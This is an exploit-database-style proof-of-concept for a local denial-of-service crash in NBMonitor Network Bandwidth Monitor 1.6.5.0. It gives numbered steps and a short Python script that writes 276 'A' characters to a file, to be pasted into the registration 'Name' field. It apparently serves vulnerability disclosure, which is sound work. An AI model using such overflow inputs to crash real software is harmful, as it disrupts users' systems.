# Exploit Title: NBMonitor Network Bandwidth Monitor 1.6.5.0 - 'Name' Denial of Service (PoC) # Author: Luis Martinez # Date: 2018-12-27 # Vendor Homepage: www.nsauditor.com # Software Link : http://www.nbmonitor.com/downloads/nbmonitor_setup.exe # Tested Version: 1.6.5.0 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 10 Pro x64 es # Steps to Produce the Crash: # 1.- Run python code : python NBMonitor_1.6.5.0.py # 2.- Open NBMonitor_1.6.5.0.txt and copy content to clipboard # 3.- Open NBMonitor # 4.- Register -> Enter Registration Code # 5.- Paste ClipBoard on "Name:" # 6.- Key: -> 1 # 7.- OK # 8.- Crashed #!/usr/bin/env python buffer = "\x41" * 276 f = open ("NBMonitor_1.6.5.0.txt", "w") f.write(buffer) f.close()